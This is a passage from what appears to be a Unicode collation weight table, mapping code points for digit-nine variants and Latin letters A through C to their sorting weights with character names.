NINE VARIANT FORM ILIMMU3 +12448 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU4 +12449 ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU A +1246E ; [.1BC1.0020.0002] # CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM +16A69 ; [.1BC1.0020.0002] # MRO DIGIT NINE +16B59 ; [.1BC1.0020.0002] # PAHAWH HMONG DIGIT NINE +1D368 ; [.1BC1.0020.0002] # COUNTING ROD UNIT DIGIT NINE +1E8CF ; [.1BC1.0020.0002] # MENDE KIKAKUI DIGIT NINE +FF19 ; [.1BC1.0020.0003] # FULLWIDTH DIGIT NINE +0F32 ; [.1BC1.0020.0004] # TIBETAN DIGIT HALF NINE +247C ; [*0310.0020.0004][.1BC1.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT NINE +2490 ; [.1BC1.0020.0004][*0274.0020.0004] # DIGIT NINE FULL STOP +1F10A ; [.1BC1.0020.0004][*0221.0020.0004] # DIGIT NINE COMMA +1D7D7 ; [.1BC1.0020.0005] # MATHEMATICAL BOLD DIGIT NINE +1D7E1 ; [.1BC1.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT NINE +1D7EB ; [.1BC1.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT NINE +1D7F5 ; [.1BC1.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT NINE +1D7FF ; [.1BC1.0020.0005] # MATHEMATICAL MONOSPACE DIGIT NINE +2468 ; [.1BC1.0020.0006] # CIRCLED DIGIT NINE +24FD ; [.1BC1.0020.0006] # DOUBLE CIRCLED DIGIT NINE +277E ; [.1BC1.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT NINE +2788 ; [.1BC1.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT NINE +2792 ; [.1BC1.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT NINE +2079 ; [.1BC1.0020.0014] # SUPERSCRIPT NINE +2089 ; [.1BC1.0020.0015] # SUBSCRIPT NINE +33E8 ; [.1BC1.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE +32C8 ; [.1BC1.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER +3361 ; [.1BC1.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE +0061 ; [.1BC2.0020.0002] # LATIN SMALL LETTER A +FF41 ; [.1BC2.0020.0003] # FULLWIDTH LATIN SMALL LETTER A +0363 ; [.1BC2.0020.0004] # COMBINING LATIN SMALL LETTER A +249C ; [*0310.0020.0004][.1BC2.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER A +1D41A ; [.1BC2.0020.0005] # MATHEMATICAL BOLD SMALL A +1D44E ; [.1BC2.0020.0005] # MATHEMATICAL ITALIC SMALL A +1D482 ; [.1BC2.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL A +1D4B6 ; [.1BC2.0020.0005] # MATHEMATICAL SCRIPT SMALL A +1D4EA ; [.1BC2.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL A +1D51E ; [.1BC2.0020.0005] # MATHEMATICAL FRAKTUR SMALL A +1D552 ; [.1BC2.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL A +1D586 ; [.1BC2.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL A +1D5BA ; [.1BC2.0020.0005] # MATHEMATICAL SANS-SERIF SMALL A +1D5EE ; [.1BC2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL A +1D622 ; [.1BC2.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL A +1D656 ; [.1BC2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL A +1D68A ; [.1BC2.0020.0005] # MATHEMATICAL MONOSPACE SMALL A +24D0 ; [.1BC2.0020.0006] # CIRCLED LATIN SMALL LETTER A +0041 ; [.1BC2.0020.0008] # LATIN CAPITAL LETTER A +FF21 ; [.1BC2.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER A +1F110 ; [*0310.0020.0004][.1BC2.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER A +1D400 ; [.1BC2.0020.000B] # MATHEMATICAL BOLD CAPITAL A +1D434 ; [.1BC2.0020.000B] # MATHEMATICAL ITALIC CAPITAL A +1D468 ; [.1BC2.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL A +1D49C ; [.1BC2.0020.000B] # MATHEMATICAL SCRIPT CAPITAL A +1D4D0 ; [.1BC2.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL A +1D504 ; [.1BC2.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL A +1D538 ; [.1BC2.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL A +1D56C ; [.1BC2.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL A +1D5A0 ; [.1BC2.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL A +1D5D4 ; [.1BC2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL A +1D608 ; [.1BC2.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL A +1D63C ; [.1BC2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL A +1D670 ; [.1BC2.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL A +24B6 ; [.1BC2.0020.000C] # CIRCLED LATIN CAPITAL LETTER A +1F150 ; [.1BC2.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER A +00AA ; [.1BC2.0020.0014] # FEMININE ORDINAL INDICATOR +1D43 ; [.1BC2.0020.0014] # MODIFIER LETTER SMALL A +2090 ; [.1BC2.0020.0015] # LATIN SUBSCRIPT SMALL LETTER A +1D2C ; [.1BC2.0020.001D] # MODIFIER LETTER CAPITAL A +1F130 ; [.1BC2.0020.001D] # SQUARED LATIN CAPITAL LETTER A +1F170 ; [.1BC2.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER A +00E1 ; [.1BC2.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BC2.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH ACUTE +00E0 ; [.1BC2.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH GRAVE +00C0 ; [.1BC2.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH GRAVE +0103 ; [.1BC2.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER A WITH BREVE +0102 ; [.1BC2.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER A WITH BREVE +1EAF ; [.1BC2.0020.0002][.0000.0026.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH BREVE AND ACUTE +1EAE ; [.1BC2.0020.0008][.0000.0026.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE +1EB1 ; [.1BC2.0020.0002][.0000.0026.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE +1EB0 ; [.1BC2.0020.0008][.0000.0026.0002][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE +1EB5 ; [.1BC2.0020.0002][.0000.0026.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH BREVE AND TILDE +1EB4 ; [.1BC2.0020.0008][.0000.0026.0002][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE +1EB3 ; [.1BC2.0020.0002][.0000.0026.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE +1EB2 ; [.1BC2.0020.0008][.0000.0026.0002][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE +00E2 ; [.1BC2.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX +00C2 ; [.1BC2.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX +1EA5 ; [.1BC2.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE +1EA4 ; [.1BC2.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE +1EA7 ; [.1BC2.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE +1EA6 ; [.1BC2.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE +1EAB ; [.1BC2.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE +1EAA ; [.1BC2.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE +1EA9 ; [.1BC2.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE +1EA8 ; [.1BC2.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE +01CE ; [.1BC2.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER A WITH CARON +01CD ; [.1BC2.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER A WITH CARON +00E5 ; [.1BC2.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1BC2.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1BC2.0020.0008][.0000.0029.0002] # ANGSTROM SIGN +01FB ; [.1BC2.0020.0002][.0000.0029.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1BC2.0020.0008][.0000.0029.0002][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE +00E4 ; [.1BC2.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER A WITH DIAERESIS +1DF2 ; [.1BC2.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER A WITH DIAERESIS +A79B ; [.1BC2.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK AE +00C4 ; [.1BC2.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS +A79A ; [.1BC2.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK AE +01DF ; [.1BC2.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1BC2.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00E3 ; [.1BC2.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH TILDE +00C3 ; [.1BC2.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH TILDE +0227 ; [.1BC2.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER A WITH DOT ABOVE +0226 ; [.1BC2.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER A WITH DOT ABOVE +01E1 ; [.1BC2.0020.0002][.0000.002E.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON +01E0 ; [.1BC2.0020.0008][.0000.002E.0002][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON +0105 ; [.1BC2.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER A WITH OGONEK +0104 ; [.1BC2.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER A WITH OGONEK +0101 ; [.1BC2.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH MACRON +0100 ; [.1BC2.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH MACRON +1EA3 ; [.1BC2.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH HOOK ABOVE +1EA2 ; [.1BC2.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH HOOK ABOVE +0201 ; [.1BC2.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER A WITH DOUBLE GRAVE +0200 ; [.1BC2.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER A WITH DOUBLE GRAVE +0203 ; [.1BC2.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER A WITH INVERTED BREVE +0202 ; [.1BC2.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER A WITH INVERTED BREVE +1EA1 ; [.1BC2.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH DOT BELOW +1EA0 ; [.1BC2.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH DOT BELOW +1EB7 ; [.1BC2.0020.0002][.0000.0042.0002][.0000.0026.0002] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW +1EB6 ; [.1BC2.0020.0008][.0000.0042.0002][.0000.0026.0002] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW +1EAD ; [.1BC2.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW +1EAC ; [.1BC2.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW +1E01 ; [.1BC2.0020.0002][.0000.0044.0002] # LATIN SMALL LETTER A WITH RING BELOW +1E00 ; [.1BC2.0020.0008][.0000.0044.0002] # LATIN CAPITAL LETTER A WITH RING BELOW +1DD3 ; [.1BC2.0020.0004][.0000.010B.0004] # COMBINING LATIN SMALL LETTER FLATTENED OPEN A ABOVE +A733 ; [.1BC2.0020.0004][.1BC2.0020.0004] # LATIN SMALL LETTER AA +A732 ; [.1BC2.0020.000A][.1BC2.0020.000A] # LATIN CAPITAL LETTER AA +1F18E ; [.1BC2.0020.001D][.1BDB.0020.001D] # NEGATIVE SQUARED AB +2100 ; [.1BC2.0020.0004][*038D.0020.0004][.1BF5.0020.0004] # ACCOUNT OF +00E6 ; [.1BC2.0020.0004][.0000.010B.0004][.1C25.0020.0004] # LATIN SMALL LETTER AE +1DD4 ; [.1BC2.0020.0004][.0000.010B.0004][.1C25.0020.0004] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1BC2.0020.000A][.0000.010B.0004][.1C25.0020.000A] # LATIN CAPITAL LETTER AE +1D2D ; [.1BC2.0020.0014][.0000.010B.0014][.1C25.0020.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1BC2.0020.0004][.0000.010B.0004][.1C25.0020.0004][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1BC2.0020.000A][.0000.010B.0004][.1C25.0020.000A][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1BC2.0020.0004][.0000.010B.0004][.1C25.0020.0004][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1BC2.0020.000A][.0000.010B.0004][.1C25.0020.000A][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +33C2 ; [.1BC2.0020.001C][*0274.0020.001C][.1D25.0020.001C][*0274.0020.001C] # SQUARE AM +33DF ; [.1BC2.0020.001D][*0605.0020.001C][.1D25.0020.001C] # SQUARE A OVER M +1DD5 ; [.1BC2.0020.0004][.1D58.0020.0004] # COMBINING LATIN SMALL LETTER AO +A735 ; [.1BC2.0020.0004][.1D58.0020.0004] # LATIN SMALL LETTER AO +A734 ; [.1BC2.0020.000A][.1D58.0020.000A] # LATIN CAPITAL LETTER AO +2101 ; [.1BC2.0020.0004][*038D.0020.0004][.1DEC.0020.0004] # ADDRESSED TO THE SUBJECT +214D ; [.1BC2.0020.000A][*038D.0020.0004][.1DEC.0020.000A] # AKTIESELSKAB +A737 ; [.1BC2.0020.0004][.1E30.0020.0004] # LATIN SMALL LETTER AU +A736 ; [.1BC2.0020.000A][.1E30.0020.000A] # LATIN CAPITAL LETTER AU +3373 ; [.1BC2.0020.001D][.1E30.0020.001D] # SQUARE AU +1DD6 ; [.1BC2.0020.0004][.1E5E.0020.0004] # COMBINING LATIN SMALL LETTER AV +A739 ; [.1BC2.0020.0004][.1E5E.0020.0004] # LATIN SMALL LETTER AV +A738 ; [.1BC2.0020.000A][.1E5E.0020.000A] # LATIN CAPITAL LETTER AV +A73B ; [.1BC2.0020.0004][.0000.010B.0004][.1E5E.0020.0004] # LATIN SMALL LETTER AV WITH HORIZONTAL BAR +A73A ; [.1BC2.0020.000A][.0000.010B.0004][.1E5E.0020.000A] # LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR +A73D ; [.1BC2.0020.0004][.1E86.0020.0004] # LATIN SMALL LETTER AY +A73C ; [.1BC2.0020.000A][.1E86.0020.000A] # LATIN CAPITAL LETTER AY +1E9A ; [.1BC2.0020.0004][.1EFB.0020.0004] # LATIN SMALL LETTER A WITH RIGHT HALF RING +1D00 ; [.1BC6.0020.0002] # LATIN LETTER SMALL CAPITAL A +2C65 ; [.1BC7.0020.0002] # LATIN SMALL LETTER A WITH STROKE +023A ; [.1BC7.0020.0008] # LATIN CAPITAL LETTER A WITH STROKE +1D8F ; [.1BC8.0020.0002] # LATIN SMALL LETTER A WITH RETROFLEX HOOK +1D01 ; [.1BC9.0020.0002] # LATIN LETTER SMALL CAPITAL AE +1D02 ; [.1BCA.0020.0002] # LATIN SMALL LETTER TURNED AE +1D46 ; [.1BCA.0020.0014] # MODIFIER LETTER SMALL TURNED AE +AB31 ; [.1BCB.0020.0002] # LATIN SMALL LETTER A REVERSED-SCHWA +0250 ; [.1BCC.0020.0002] # LATIN SMALL LETTER TURNED A +2C6F ; [.1BCC.0020.0008] # LATIN CAPITAL LETTER TURNED A +1D44 ; [.1BCC.0020.0014] # MODIFIER LETTER SMALL TURNED A +0251 ; [.1BD0.0020.0002] # LATIN SMALL LETTER ALPHA +1DE7 ; [.1BD0.0020.0004] # COMBINING LATIN SMALL LETTER ALPHA +2C6D ; [.1BD0.0020.0008] # LATIN CAPITAL LETTER ALPHA +1D45 ; [.1BD0.0020.0014] # MODIFIER LETTER SMALL ALPHA +AB30 ; [.1BD4.0020.0002] # LATIN SMALL LETTER BARRED ALPHA +1D90 ; [.1BD5.0020.0002] # LATIN SMALL LETTER ALPHA WITH RETROFLEX HOOK +0252 ; [.1BD6.0020.0002] # LATIN SMALL LETTER TURNED ALPHA +2C70 ; [.1BD6.0020.0008] # LATIN CAPITAL LETTER TURNED ALPHA +1D9B ; [.1BD6.0020.0014] # MODIFIER LETTER SMALL TURNED ALPHA +AB64 ; [.1BDA.0020.0002] # LATIN SMALL LETTER INVERTED ALPHA +0062 ; [.1BDB.0020.0002] # LATIN SMALL LETTER B +FF42 ; [.1BDB.0020.0003] # FULLWIDTH LATIN SMALL LETTER B +1DE8 ; [.1BDB.0020.0004] # COMBINING LATIN SMALL LETTER B +249D ; [*0310.0020.0004][.1BDB.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER B +1D41B ; [.1BDB.0020.0005] # MATHEMATICAL BOLD SMALL B +1D44F ; [.1BDB.0020.0005] # MATHEMATICAL ITALIC SMALL B +1D483 ; [.1BDB.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL B +1D4B7 ; [.1BDB.0020.0005] # MATHEMATICAL SCRIPT SMALL B +1D4EB ; [.1BDB.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL B +1D51F ; [.1BDB.0020.0005] # MATHEMATICAL FRAKTUR SMALL B +1D553 ; [.1BDB.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL B +1D587 ; [.1BDB.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL B +1D5BB ; [.1BDB.0020.0005] # MATHEMATICAL SANS-SERIF SMALL B +1D5EF ; [.1BDB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL B +1D623 ; [.1BDB.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL B +1D657 ; [.1BDB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL B +1D68B ; [.1BDB.0020.0005] # MATHEMATICAL MONOSPACE SMALL B +24D1 ; [.1BDB.0020.0006] # CIRCLED LATIN SMALL LETTER B +0042 ; [.1BDB.0020.0008] # LATIN CAPITAL LETTER B +FF22 ; [.1BDB.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER B +1F111 ; [*0310.0020.0004][.1BDB.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER B +212C ; [.1BDB.0020.000B] # SCRIPT CAPITAL B +1D401 ; [.1BDB.0020.000B] # MATHEMATICAL BOLD CAPITAL B +1D435 ; [.1BDB.0020.000B] # MATHEMATICAL ITALIC CAPITAL B +1D469 ; [.1BDB.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL B +1D4D1 ; [.1BDB.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL B +1D505 ; [.1BDB.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL B +1D539 ; [.1BDB.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL B +1D56D ; [.1BDB.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL B +1D5A1 ; [.1BDB.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL B +1D5D5 ; [.1BDB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL B +1D609 ; [.1BDB.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL B +1D63D ; [.1BDB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL B +1D671 ; [.1BDB.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL B +24B7 ; [.1BDB.0020.000C] # CIRCLED LATIN CAPITAL LETTER B +1F151 ; [.1BDB.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER B +1D47 ; [.1BDB.0020.0014] # MODIFIER LETTER SMALL B +1D2E ; [.1BDB.0020.001D] # MODIFIER LETTER CAPITAL B +1F131 ; [.1BDB.0020.001D] # SQUARED LATIN CAPITAL LETTER B +1F171 ; [.1BDB.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER B +1E03 ; [.1BDB.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER B WITH DOT ABOVE +1E02 ; [.1BDB.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER B WITH DOT ABOVE +1E05 ; [.1BDB.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER B WITH DOT BELOW +1E04 ; [.1BDB.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER B WITH DOT BELOW +1E07 ; [.1BDB.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER B WITH LINE BELOW +1E06 ; [.1BDB.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER B WITH LINE BELOW +3374 ; [.1BDB.0020.001C][.1BC2.0020.001C][.1DAE.0020.001C] # SQUARE BAR +33C3 ; [.1BDB.0020.001D][.1D9C.0020.001C] # SQUARE BQ +0299 ; [.1BDF.0020.0002] # LATIN LETTER SMALL CAPITAL B +0180 ; [.1BE3.0020.0002] # LATIN SMALL LETTER B WITH STROKE +0243 ; [.1BE3.0020.0008] # LATIN CAPITAL LETTER B WITH STROKE +1D2F ; [.1BE7.0020.0002] # MODIFIER LETTER CAPITAL BARRED B +1D03 ; [.1BE8.0020.0002] # LATIN LETTER SMALL CAPITAL BARRED B +1D6C ; [.1BE9.0020.0002] # LATIN SMALL LETTER B WITH MIDDLE TILDE +A797 ; [.1BEA.0020.0002] # LATIN SMALL LETTER B WITH FLOURISH +A796 ; [.1BEA.0020.0008] # LATIN CAPITAL LETTER B WITH FLOURISH +1D80 ; [.1BEB.0020.0002] # LATIN SMALL LETTER B WITH PALATAL HOOK +0253 ; [.1BEC.0020.0002] # LATIN SMALL LETTER B WITH HOOK +0181 ; [.1BEC.0020.0008] # LATIN CAPITAL LETTER B WITH HOOK +0183 ; [.1BF0.0020.0002] # LATIN SMALL LETTER B WITH TOPBAR +0182 ; [.1BF0.0020.0008] # LATIN CAPITAL LETTER B WITH TOPBAR +A7B5 ; [.1BF4.0020.0002] # LATIN SMALL LETTER BETA +1DE9 ; [.1BF4.0020.0004] # COMBINING LATIN SMALL LETTER BETA +A7B4 ; [.1BF4.0020.0008] # LATIN CAPITAL LETTER BETA +0063 ; [.1BF5.0020.0002] # LATIN SMALL LETTER C +FF43 ; [.1BF5.0020.0003] # FULLWIDTH LATIN SMALL LETTER C +0368 ; [.1BF5.0020.0004] # COMBINING LATIN SMALL LETTER C +217D ; [.1BF5.0020.0004] # SMALL ROMAN NUMERAL ONE HUNDRED +249E ; [*0310.0020.0004][.1BF5.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER C +1D41C ; [.1BF5.0020.0005] # MATHEMATICAL BOLD SMALL C +1D450 ; [.1BF5.0020.0005] # MATHEMATICAL ITALIC SMALL C +1D484 ; [.1BF5.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL C +1D4B8 ; [.1BF5.0020.0005] # MATHEMATICAL SCRIPT SMALL C +1D4EC ; [.1BF5.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL C +1D520 ; [.1BF5.0020.0005] # MATHEMATICAL FRAKTUR SMALL C +1D554 ; [.1BF5.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL C +1D588 ; [.1BF5.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL C +1D5BC ; [.1BF5.0020.0005] # MATHEMATICAL SANS-SERIF SMALL C +1D5F0 ; [.1BF5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL C +1D624 ; [.1BF5.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL C +1D658 ; [.1BF5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL C +1D68C ; [.1BF5.0020.0005] # MATHEMATICAL MONOSPACE SMALL C +24D2 ; [.1BF5.0020.0006] # CIRCLED LATIN SMALL LETTER C +0043 ; [.1BF5.0020.0008] # LATIN CAPITAL LETTER C +FF23 ; [.1BF5.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER C +2103 ; [*04D7.0020.0004][.1BF5.0020.000A] # DEGREE CELSIUS +216D ; [.1BF5.0020.000A] # ROMAN NUMERAL ONE HUNDRED +1F112 ; [*0310.0020.0004][.1BF5.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER C +2102 ; [.1BF5.0020.000B] # DOUBLE-STRUCK CAPITAL C +212D ; [.1BF5.0020.000B] # BLACK-LETTER CAPITAL C +1D402 ; [.1BF5.0020.000B] # MATHEMATICAL BOLD CAPITAL C +1D436 ; [.1BF5.0020.000B] # MATHEMATICAL ITALIC CAPITAL C +1D46A ; [.1BF5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL C +1D49E ; [.1BF5.0020.000B] # MATHEMATICAL SCRIPT CAPITAL C +1D4D2 ; [.1BF5.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL C +1D56E ; [.1BF5.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL C +1D5A2 ; [.1BF5.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL C +1D5D6 ; [.1BF5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL C +1D60A ; [.1BF5.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL C +1D63E ; [.1BF5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL C +1D672 ; [.1BF5.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL C +24B8 ; [.1BF5.0020.000C] # CIRCLED LATIN CAPITAL LETTER C +1F12B ; [.1BF5.0020.000C] # CIRCLED ITALIC LATIN CAPITAL LETTER C +1F152 ; [.1BF5.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER C +1D9C ; [.1BF5.0020.0014] # MODIFIER LETTER SMALL C +1F132 ; [.1BF5.0020.001D] # SQUARED LATIN CAPITAL LETTER C +1F172 ; [.1BF5.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER C +0107 ; [.1BF5.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER C WITH ACUTE +0106 ; [.1BF5.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER C WITH ACUTE +0109 ; [.1BF5.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER C WITH CIRCUMFLEX +0108 ; [.1BF5.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER C WITH CIRCUMFLEX +010D ; [.1BF5.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER C WITH CARON +010C ; [.1BF5.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER C WITH CARON +010B ; [.1BF5.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER C WITH DOT ABOVE +010A ; [.1BF5.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER C WITH DOT ABOVE +00E7 ; [.1BF5.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER C WITH CEDILLA +1DD7 ; [.1BF5.0020.0004][.0000.0030.0004] # COMBINING LATIN SMALL LETTER C CEDILLA +00C7 ; 